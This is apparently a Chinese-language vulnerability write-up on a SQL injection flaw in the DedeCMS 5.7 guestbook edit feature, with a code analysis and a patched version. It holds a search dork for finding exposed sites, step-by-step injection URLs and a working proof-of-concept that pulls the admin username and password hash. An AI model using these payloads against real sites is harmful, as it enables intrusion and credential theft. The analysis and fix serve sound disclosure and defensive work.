dedecms plusguestbook.php SQL Injection Vul By plusguestbookedit.inc.php

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

注射漏洞成功需要条件如下

1. php magic_quotes_gpc=off
2. 漏洞文件存在: plus/guestbook.php
3. 在数据库中: dede_guestbook也需要存在

Relevant Link:

inurl:/plus/guestbook.php

2. 漏洞触发条件

1. http://localhost/dedecms5.7/plus/guestbook.php
2. [回复/编辑]上可以看到访问者留言的ID。则记下ID，例如: http://localhost/dedecms5.7/plus/guestbook.php?action=admin&id=1
3. 访问: http://localhost/dedecms5.7/plus/guestbook.php?action=admin&job=editok&msg=errs.cc'&id=1
4. 提交后，如果是dede5.7版本的话，会出现"成功更改或回复一条留言"，那就证明修改成功了 
5. 再返回到: http://localhost/dedecms5.7/plus/guestbook.php，看下改的那条留言内容是否变为了 errs.cc’ 如果是的话，那就证明此漏洞无法再利用应为他开启: php magic_quotes_gpc=off
6. 如果没有修改成功，那留言ID的内容还是以前的，那就证明漏洞可以利用。
7. 那么再次访问: http://localhost/dedecms5.7/plus/guestbook.php?action=admin&job=editok&id=1&msg=',msg=user(),email='
8. 然后返回，那条留言ID的内容就直接修改成了mysql 的user().

Relevant Link: 

http://www.51php.com/dedecms/16942.html
http://www.wooyun.org/bugs/wooyun-2012-014501

3. 漏洞影响范围

0x1: POC

view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' 

Relevant Link:

http://www.programgo.com/article/45492569994/
http://www.cnblogs.com/Hkadmin/p/3712667.html

4. 漏洞代码分析

/plus/guestbook.php

//修改留言
if($action=='admin')
{
    include_once(dirname(__FILE__).'/guestbook/edit.inc.php');
    exit();
}

plusguestbookedit.inc.php

//这里没有判断$g_isadmin，而是错误地信任了用户的输入: action = "admin"
else if($job=='editok') 
{
    $remsg = trim($remsg);
    //这里没有对$msg过滤，导致可以任意注入
    $dsql->ExecuteNoneQuery("update `#@__guestbook` set `msg`='$msg', `posttime`='".time()."' where id='$id' "); 
    ShowMsg("成功更改或回复一条留言！",$GUEST_BOOK_POS);
    exit();
}

Relevant Link:

http://pannisec.diandian.com/?tag=SQL%E6%B3%A8%E5%B0%84

5. 防御方法

plusguestbookedit.inc.php

else if($job=='editok')
{
    $remsg = trim($remsg);

    /* 验证$g_isadmin */
    if($remsg!='')
    {
        //管理员回复不过滤HTML
        if($g_isadmin)
        {
            $msg = "<div class=\'rebox\'>".$msg."</div>
".$remsg; 
            //$remsg <br><font color=red>管理员回复：</font>
        }
        else
        {
            $row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
            $oldmsg = "<div class=\'rebox\'>".addslashes($row['msg'])."</div>
";
            $remsg = trimMsg(cn_substrR($remsg, 1024), 1);
            $msg = $oldmsg.$remsg;
        }
    }
    /* */
    /* 对$msg进行有效过滤 */
    $msg = addslashes($msg);
    /* */
    $dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
    ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);
    exit();
}

6. 攻防思考

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